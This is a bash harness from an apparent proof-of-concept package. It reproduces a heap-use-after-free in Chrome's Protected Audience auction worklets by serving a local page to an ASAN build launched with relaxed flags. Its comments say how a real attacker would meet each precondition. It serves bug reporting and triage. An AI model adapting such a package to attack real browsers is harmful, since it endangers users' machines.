#!/bin/bash
# Reproduce the Protected Audience worklet bindings heap-use-after-free.
#
# Usage: CHROME=/path/to/asan/chrome ./run.sh
#
# Expected output: an AddressSanitizer heap-use-after-free report from the
# "Auction Bidding and Scoring" utility process, with the read happening
# inside one of the auction_worklet *Bindings static callbacks
# (SetPriorityBindings::SetPriority / SetBidBindings::SetBid /
# ForDebuggingOnlyBindings::* / etc.) and the free happening in
# ~ContextRecycler.

set -euo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT=8443
ORIGIN="https://localhost:${PORT}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="${HERE}/asan.log"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "${SERVER_PID}" 2>/dev/null || true
  rm -rf "${PROFILE}" 2>/dev/null || true
}
trap cleanup EXIT

# ---------------------------------------------------------------------------
# Pre-seed profile prefs so Protected Audience is permitted. These mirror the
# user-facing "Site-suggested ads" toggle a victim would have set; they do
# not relax any technical security boundary in the auction-worklet process.
# ---------------------------------------------------------------------------
mkdir -p "${PROFILE}/Default"
cat > "${PROFILE}/Default/Preferences" <<'EOF'
{
  "privacy_sandbox": {
    "m1": {
      "fledge_enabled": true,
      "topics_enabled": true,
      "ad_measurement_enabled": true,
      "consent_decision_made": true,
      "eea_notice_acknowledged": true,
      "row_notice_acknowledged": true,
      "restricted_notice_acknowledged": true
    }
  }
}
EOF

# ---------------------------------------------------------------------------
# Serve the POC over HTTPS (self-signed; --ignore-certificate-errors below).
# ---------------------------------------------------------------------------
python3 "${HERE}/server.py" >>"${LOG}" 2>&1 &
SERVER_PID=$!
for i in $(seq 1 50); do
  if python3 - "${PORT}" <<'PY' 2>/dev/null
import socket, sys
s = socket.socket()
s.settimeout(0.2)
s.connect(("127.0.0.1", int(sys.argv[1])))
s.close()
PY
  then break; fi
  sleep 0.1
done

# ---------------------------------------------------------------------------
# Launch Chrome.
#
# Flags rationale (none changes the bug-triggering code path):
#   --ignore-certificate-errors
#       We serve from a self-signed localhost cert; a real attacker serves
#       from a real CA-signed origin.
#   --privacy-sandbox-enrollment-overrides
#       Real attackers enrol their domain with Google's attestation
#       registry; this flag stands in for that out-of-band registration.
#   --disable-features=PrivacySandboxAdPrivacyUxDeprecation
#       In current trunk this UX-deprecation flag wipes the Ad-Privacy
#       opt-in prefs at startup. It is a policy/consent gate, not a
#       technical security gate, and does not affect the auction-worklet
#       process. Disabling it models the population that still has
#       Protected Audience enabled.
#   --enable-privacy-sandbox-ads-apis
#       Convenience switch that force-enables the Fledge / InterestGroup
#       Blink features (already shipping; this just pins them on).
# ---------------------------------------------------------------------------
echo "[run] launching ${CHROME}" | tee -a "${LOG}"
ASAN_OPTIONS="${ASAN_OPTIONS:-detect_odr_violation=0}" \
"${CHROME}" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --disable-dev-shm-usage --use-gl=disabled \
  --user-data-dir="${PROFILE}" \
  --ignore-certificate-errors \
  --enable-privacy-sandbox-ads-apis \
  --privacy-sandbox-enrollment-overrides="${ORIGIN}" \
  --disable-features=PrivacySandboxAdPrivacyUxDeprecation \
  --enable-logging=stderr --v=0 \
  "${ORIGIN}/poc.html" \
  >>"${LOG}" 2>&1 &
CHROME_PID=$!

# Give the auction worklets time to run (3 IGs x ~50 ms timeout each, plus
# ASAN slowdown and network round-trips).
for i in $(seq 1 60); do
  if grep -q "ERROR: AddressSanitizer" "${LOG}" 2>/dev/null; then
    sleep 2   # let the full report flush
    break
  fi
  if ! kill -0 "${CHROME_PID}" 2>/dev/null; then
    break
  fi
  sleep 1
done

kill "${CHROME_PID}" 2>/dev/null || true
wait "${CHROME_PID}" 2>/dev/null || true

echo
echo "===================================================================="
if grep -q "ERROR: AddressSanitizer: heap-use-after-free" "${LOG}"; then
  echo "RESULT: heap-use-after-free reproduced. Excerpt:"
  echo "--------------------------------------------------------------------"
  awk '/ERROR: AddressSanitizer/,/SUMMARY: AddressSanitizer/' "${LOG}"
  echo "--------------------------------------------------------------------"
  echo "Full log: ${LOG}"
  exit 0
elif grep -q "ERROR: AddressSanitizer" "${LOG}"; then
  echo "RESULT: AddressSanitizer fired (see ${LOG}):"
  grep -n "ERROR: AddressSanitizer\|SUMMARY:" "${LOG}"
  exit 0
else
  echo "RESULT: no ASAN report captured. See ${LOG} for details."
  exit 1
fi
